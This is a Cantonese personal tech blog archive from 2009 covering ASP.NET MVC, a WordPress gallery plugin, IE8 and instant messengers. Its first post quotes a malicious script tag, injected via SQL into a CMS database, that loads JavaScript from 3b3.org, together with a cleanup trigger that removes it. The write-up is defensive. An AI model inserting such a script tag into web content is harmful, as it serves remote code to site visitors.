2009年3月31日星期二

什麼是3b3.org???

上個星期公司很多客戶網站都出現一個問題,就是SQL Server中很多紀錄都自動插入了一句"<script src=http://3b3.org/c.js></script>"。開頭以為只是一次半次,點知近幾日開始在同一個Host的網站都有這個問題。

原因當然是出自程式上,因為是同一套自家制CMS,是ASP Classic寫的。最奇怪是這行Script不是Insert Record時加入的,而是在現有Record做Update的。

公司又沒有Log,我又不太想再去修改那單個File有7000行的ASP....最後在MSSQL寫了一個Trigger就當暫時解決辦法了....

不過上Google Search - http://www.google.com.hk/search?q=%3Cscript+src%3Dhttp%3A%2F%2F3b3.org%2Fc.js%3E%3C%2Fscript%3E

發現有大量網站都有同樣問題!

USE [Your_DataBase_Name]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER TRIGGER [dbo].[Replace3b3]
ON [dbo].[cmsTable]
AFTER INSERT, UPDATE
AS
DECLARE @SCRIPT VARCHAR(255);
SET @SCRIPT = '<script src=http://3b3.org/c.js></script>';
SELECT ID FROM dbo.cmsTable WHERE 
Column1 LIKE '%'+@SCRIPT+'%' OR Column2 LIKE '%'+@SCRIPT+'%' OR Column3 LIKE '%'+@SCRIPT+'%'
IF @@rowcount > 0
BEGIN UPDATE dbo.cmsTable SET Column1=REPLACE(Column1,@SCRIPT,''),Column2=REPLACE(Column2,@SCRIPT,''),Column3=REPLACE(Column3,@SCRIPT,'')
END

2009年3月26日星期四

ASP.NET MVC Framework

ASP.NET MVC 出左 RTM,呢幾日玩過下,其實由Webforms去MVC是很大轉變,先要花不少時間了解MVC架構。上網睇左好多人討論,基本上都係對MVC一致讚好,更說學好.NET MVC對了解Ruby on Rails ,Spring, CakePHP都會很容易。
StackOverflow網站好多人都有疑問就係:(我應唔應該學ASP.NET MVC?) (Webforms同MVC有什麼分別?) 等等問題。
其實不足為奇既,Webforms開發者或者打開MVC Project時都覺得奇怪,分別有[Model]/[View]/[Controller] 三個Folder,而*.aspx頁沒有Code-Behind,Runtime時不會再自動Generate Client ID,沒有Post Back,一時間真是滿頭問題。

看看人家的文章,原來MVC架構下是沒有ViewState和Page Cycle,傳統Webforms是Event-driven,即是由Event (Page_init , Page_Load..) 去驅進頁面,但MVC中的View等同User Interface,透過Controller去決定return返什麼View,而Model就是business logic層面,由Controller再去Model執行事件,決定View如何演變。寫了Webforms那麼久,亦玩過PHP Post Form模式的運作,MVC的運作好像幾有趣。

mvc-architecture.png

當然我都未掌握到很多,而且香港的市場有排都不會興起ASP.NET MVC (當然我只是指ASP.NET的MVC,不包括ROR等等),但是做Web Development,我覺得是要懂MVC概念,以下是我看過的好網站,大家要MVC入門,可以一看。
睇緊期間,起CodingHorror搵到一篇文,是我之前講PHP中HTML夾碼大量Logic,Logic中又夾雜HTML,
原來是有名堂的 - 叫做Tag Soup

ASP.NET
ASP.NET MVC official site (MS把MVC放上主Menu中,可見很重視)
ASP.NET MVC Tutorials

stackoverflow (一個我經常看的討論區,經常有很多有趣的Programming問題。)
What Is ASP.Net MVC?
Is .NET MVC must learn technology?
ASP.NET MVC - Is it worth it yet?

ScottGu's Blog
ASP.NET MVC Framework
Free ASP.NET MVC eBook Tutorial
Other:
How to Learn ASP.NET MVC
Interest in ASP.NET MVC is raising
ASP.NET MVC - Is The Grass Really Greener?
New ASP.NET Architecture
ASP.net MVC Vs ASP.net Web Form
An Architectural View of the ASP.NET MVC Framework

中國cnblogs :
ASP.NET MVC 入門系列教程
http://www.cnblogs.com/QLeelulu/archive/2008/10/05/1303997.html
http://www.cnblogs.com/zhangziqiu/category/177895.html

Pict.com - 支援FF Extension的Image Host

自從Tinypic Block左香港IP後,轉左用Imagehost.org,不過Imagehost時快時慢,有時圖都upload唔到。
岩岩搵到一個唔錯的,叫Pict.com,支持最大3.5Mb JPG/PNG/GIF圖,最正係佢有FF Extension,除左可以直接起FF right click upload圖外,extension本身都支援capture => save as / upload功能。
當然我介紹得,一定支持Hotlink,唔錯唔錯,試試~

Pict.com : http://www.pict.com/software
2009-03-25-22-25-07.png

2009年3月23日星期一

完成第一個WordPress Plugin : SlideZoom

用了差不多有一星期時間,研究一下寫WordPress的Plugin,畢竟PHP是我Secondary Language,要我在非工作情況下寫PHP,一開始我是拒絕的。
但是呢,由於有太多參考,而且WordPress的Document做得不錯,加上Aptana是個出色的PHP IDE,所以很快便完成了。
這個Plugin隨意起了個名字叫SlideZoom。先說說為什麼會出現寫這個Plugin的念頭。
我用了WP差不多兩年,都試用過很多Gallery,例如WP-Gallery , NextGen etc,但他們都有幾個我不太喜歡的地方。
  1. 如果只想把十多張圖片放上Posts,要新建相簿->Import圖片->加一個Pages->插入相簿....不方便而且久而久之會有大量零零碎碎的相簿出現。
  2. 它們部份都有自己的Trigger,或者有自己的File Location,如果你有一天不用那個Plugin,所有之前的圖片便不再顯示或者因Image Path關係被Isolate。
  3. 不夠輕量,如果就純粹想快速插入大量圖片而言,很多Plugin都要Create自己的Table儲存Meta data,又要設置很多東西等等。
其實即使WordPress本身的Add Media功能都不太好,Media功能只是"Upload一張,加一張",不是針對大量圖片的功能。但無奈地,一直都找不到有人寫我想要的Plugin,唯有自己DIY。

SlideZoom其實流程很簡單,就是: 上傳圖片=>建立HighSlide JS兼容的HTML Code
所以,我編寫SlideZoom時考慮到上述問題,而有以下特色:

1. 共用WordPress本身的上傳資料夾。
2. 圖片HTML格式採用 <a href="圖片" target="_blank"><img src="圖片" height="預設細圖高度" width="預設細圖寬度" /></a>,換句話說,即使有一天不用SlideZoom,圖片依然會正常地顯示出來。
3. 設定方面只是在WP自身的Options table插入一行紀錄。
4. Resize方面用回PHP自帶的GD Extension

暫時還有很多文字上的版權宣言(對HighSlide JS和WP的GPL) 還未搞好,不能上傳至WP的Extent頁。
所以暫時只好在這裡建立一個新頁供下載和ScreenShot,大家可以看看:
SlideZoom's Download / Demo / ScreenShot :
http://tatmingstudio.blogspot.com/2009/03/slidezoom.html
(為什麼WordPress 2.71沒有了Slug功能?我本想建立一頁叫http://blog.miawork.com/SlideZoom/)

Demonstration :





2009年3月22日星期日

SlideZoom

SlideZoom

Latest release:1.4.1 (Update on 02 Jan 2012)
Description:

SlideZoom is a lightweight plugin allow bulk upload images or zip upload to generate a HighSlide JS gallery.
Output as HTML code / BBCode etc... And offering embed the gallery to everywhere (WordPress, Web ,Forum, eBay etc...) by simple copy and paste to posts or pages.
To make the best use of your web space , to let all things serve as your own image hosting!

  • Auto resize upload image, support jpg, png, gif format.
  • Auto rename when duplicate file name.
  • Auto create thumbnail images.

Download SlideZoom At WordPress Plugin Directory:
http://wordpress.org/extend/plugins/slidezoom/
https://dl.dropbox.com/u/19160547/Files/SlideZoom_Release_v1.4.1.zip


Demo:
slidezoom_demo_pic_1-t.jpgslidezoom_demo_pic_2-t.jpgslidezoom_demo_pic_3-t.jpgslidezoom_demo_pic_5-t.jpgslidezoom_demo_pic_7-t.jpgslidezoom_demo_pic_8-t.jpgslidezoom_demo_pic_9-t.jpgslidezoom_sample_10-t.jpgslidezoom_sample_11-t.jpgslidezoom_sample_4-t.jpg

Screen Shot :
The Options Screen :
screenshot-1-t.png

Output as HTML :
screenshot-2-t.png

Output as BBCode :
screenshot-3-t.png

Result - Highslide JS Gallery for your posts or pages :
screenshot-4-t.png

For Installation or Upgrade , please see the readme.txt in the zip package.

**Changelog**
*v1.4.1
Changed : Compatibility with WordPress 3.3.0
Changed : Update Highslide JS to version 4.1.13
Notes : Long times haven't update this. But i use this usually and i love it. So this plugin still under maintenance and more function is WIP.

*v1.4.0
Added : Gallery Mode - You can group all the uploaded images as a gallery. With gallery, there is a control show overlay on group of images to let you play as slideshow or show next/prev images etc.
Added : Images Caption - you can add some description of the images individually, the description will display when enlarge.
Changed : Minor bug fix and UI adjustment.
Changed : Compatibility with WordPress 3.1.0
Changed : Update Highslide JS to version 4.1.9
Fixed : Fix zip upload error caused by wrong function name - getFilename.

*v1.3.3
Changed : Compatibility with WordPress 3.0.0
Changed : Update jQuery Multiple File Upload Plugin to 1.4.7
Fixed : Auto insert default options value when first activation.

*v1.3.2
Fixed : Remove unuse Javascript file.
Changed : Compatibility with WordPress 2.9.1
Changed : Update Highslide JS to version 4.1.8

*v1.3.1
Fixed : Duplicate thumbnail images issue. Thanks alex.elite for bug report.
Changed : Images upload slot is replaced by auto-grow upload slot.

*v1.3.0
Fixed : It cause error on resize images , when filename contains uppercase character , space , or special character.
Added : Easing effect - see example.
Added : Fade-in/out effect.
Added : Ability to control the expander position using margin or alignment.
Added : Ability to tuning the duration of zoom-in and zoom-out.

*v1.2.1
Fixed : I make a mistake on the output html. It should be </a> , not <a/> .

*v1.2.0
Added : Zip upload , just like some image hosting, zip your images and upload. SildeZoom will auto unzip, rename, resize.
Added : Generate relative url or absolute url for output html.
Added : Generate raw images url, for other purpose.
Added : Detect server setting and display info.
Changed : For better file management, thumbnail's filename ,now change from '-thumb' to '-t' and append to last of filename.
Fixed : Possible missing thumbnail's url on some condition.

*v1.1.1
Changed : This version is maintenance release. I suggest everyone should update to this version.
Fixed "Stack overflow in IE6 / IE7 / IE8" Javascript error alert.
Changed : Update HighSlide JS to 4.1.4, and reduce the size of highslide.js from 50KB to 25KB.
Changed : Remove the "Powered by..." label. It is legal action. See: http://highslide.com/forum/viewtopic.php?f=4&t=608

*v1.1.0
Added : Output result as BBCode.
Added : Support resize images as thumbs, different from v1.0.0. v1.0.0 only using html tag to reduce the size, but now, it is REAL resize. thumbnails image's file name will be insert "thumb_" as begin.
Changed : Update HighSlide JS to 4.1.2
Changed : Shrink the HighSlide JS package from 90KB to 50KB now, and remove unuse JS file.
Changed : Refine the option and upload page layout.

*1.0.0
Initial Release



Internet Explorer 8 Official Release

ie8_logo.jpg

出得好似很突然,等左好耐了~希望IE8會好o的,因為我始終都要經常用IE。Firefox對EndUser o黎講的確係最好用,但係做Web Dev,始終都係用IE做Standard,就算俾客睇時,都好著重IE既相容性多過Firefox。

Update : 中文版的Windows用戶請小心,香港版 XP/Vista 裝返香港版 IE8;台灣版裝返台灣版 IE8,否則裝出來會係英文版。尤其是用盜版Windows Vista的人大多數都是台灣版,但你上IE8網頁會檢查你時區而建議你下載香港版本。不過安裝錯誤都不怕,裝返 IE8 中文(香港/台灣)語言包便可
CHT - Chinese (Traditional) / ZHH - Chinese (Hong Kong)

Internet Explorer 8 Home :
http://www.microsoft.com/ie8

Download all locales and versions :
http://www.microsoft.com/windows/internet-explorer/worldwide-sites.aspx

想知有咩新功能或者同RC版有什麼分別去Microsoft的IE Team既Blog
IEBlog : Internet Explorer 8 Final Available Now

d_screenshot_accelerator.jpgd_screenshot_ebay.jpg

2009年3月19日星期四

FacePAD: Facebook Photo Album Downloader


一個Firefox Extension,同時Batch Download Facebook Album內所有相,我試過係Work的。不過佢 Default Save Dir係用返你Firefox Setting,作者話下一版會改。

FacePAD: Facebook Photo Album Downloader
FacePAD: Facebook Photo Album Downloader

PhotoJacker: Tutorial Video (v0.9.6) from Arthur Sabintsev (Lazyrussian) on Vimeo.

用Miranda打造"最安全"的Live Messenger

自從返左呢份新工後,工作量大減...做既o野之少真係前所未有,好似我今日既工作,竟然只係做一個Login Page...15分鐘搞掂後,就執下其他Project。
但係公司唔俾食煙,女同事又不多,男同事年紀又比我大很多,沒話題。
一日坐起度對住電腦8個鐘,坐到我腰都癱埋。
所以有時都幾悶,由於個位實在太開揚,唔可以上討論區,唔可以MSN,但係可以用EarPhone聽MP3或收音機,唯有諗諗計睇下點樣用到MSN又唔會俾人見到。
試左好多MSN Clone,除左Miranda外,其他都唔合格,最主要係Contact List太易睇到。

最後幾經修改,較字型,轉晒所有Icon做透明,得出呢個版本既Miranda,如果唔係用得太多,其實遠睇都唔易發覺呢個係MSN吧。
office_miranda.png

2009年3月15日星期日

復興ICQ

其實我覺得Live Messenger真係一代比一代衰...2009仲要冇埋個Send制....好唔方便~其實有返廿幾歲既人應該都實玩過ICQ,真係好懷念Loading時果朵花轉轉圖,同埋打字既"拍拍聲"。不過諗返真係唔知點解當年突然間所有人轉晒玩MSN。唯有解釋既就係AOL....AOL係一間買乜死乜,出乜死乜既公司...ICQ俾佢玩死,Winamp都俾佢玩死埋....不過其實我始終都覺得ICQ好過MSN。最起碼溝女時唔需要問幾歲住邊之類既問題....而ICQ既Info係真係有人睇,反而MSN的Live Profile要再Load網頁就未必有人睇,更加未必有人知...

之排見到Facebook有個Group係話想復興ICQ,用Virtual PC試下裝返,之前6位Account竟然仲Login到....不過當然就一個人都冇Online...試玩過後,覺得其實ICQ 6.5版本其實都唔太差,改Info,Icon果o的基本功能都仲Keep到...不過就好多廣告....但係呢o的實有Patch搞左佢...

而且ICQ的Random Search都仲起度,而且仲有人用!順手Cap左幾個Screen,俾大家睇下喇~
不過與其復興ICQ,不如轉玩大陸QQ,其實大陸QQ仲正~不過我相信香港興唔起其中一個原因係港女唔會想用QQ,因為某程度上佢地始終覺得"香港女仔"高"大陸女仔"一等,唔想物以類聚掛...

Facebook Group:
ICQ復興活動 http://www.facebook.com/group.php?sid=f3800e2eb9cbd5903efcee1042861709&gid=22218524303
我用 ICQ 的日子 http://www.facebook.com/group.php?sid=f3800e2eb9cbd5903efcee1042861709&gid=42412273303
等你"喔噢"我-ICQ http://www.facebook.com/group.php?sid=f3800e2eb9cbd5903efcee1042861709&gid=14965717233

icq8.pngicq1.pngicq2.pngicq3.pngicq4.pngicq5.pngicq6.pngicq7.png

2009年3月12日星期四

Visual Basic 6 不死

177rrm.jpg
Microsoft UK的Eric Nelson搞了一個投票,主要是英國國內一個Windows Application Developer的調查。雖然這個調查有其他Language,但正常人都會Focus 在VB.NET / C# / C++ / Java之間,但結果出乎意料,是VB6勝出。投票結果顯示,英國還有十分多人還在使用VB6開發新軟件,亦同時有很多人還在使用VB6維護Project。
VB6使用率是86.53%,而VB.NET和C#相若,兩者都只是50%。
結果有違普遍一向認為 C# > VB.NET > VB6 的想法。

不過我的睇法是,就算香港,其實都真的有十分多公司還需要人去維護或者繼續寫VB6軟件,最起碼我其中兩次找工作,都是上市公司,但內部軟件都是用VB6寫的,需要你識寫VB.NET之餘,還要識VB6,因為已經是完成度很高的軟件,正常不會再重寫的,而且用.NET重寫VB6軟件亦有一定風險。當然中國大陸相信就更加多VB6工作,如果你是VB6er,應該暫時都不愁工作。

一直冷眼看待VB6的人應該都跌眼鏡了。其實我和台灣很多Programmer都應該對VB6很有感情,好似我咁,如果當年不是VB6帶起我興趣,今天不會找到工作,亦不會靠著VB6 Concept一步一步走向VB.NET,可能今天還在M@gic-Pro賺月薪$8500的超頻佬。
想當年,經常買王國榮的書看,去小雄資訊中心—VB研究小站VB入門網VBGuide,現在可沒有當年咁熱心了...

Results of the Visual Basic Survey
Part 1 – Language and Framework Usage
Part 2 – Visual Basic 6.0 Usage Today
Part 3 – Move from Visual Basic 6.0 to .NET
Part 4 – My analysis + new chart on why people still have VB6 ***(Must See)***

vb6ging.png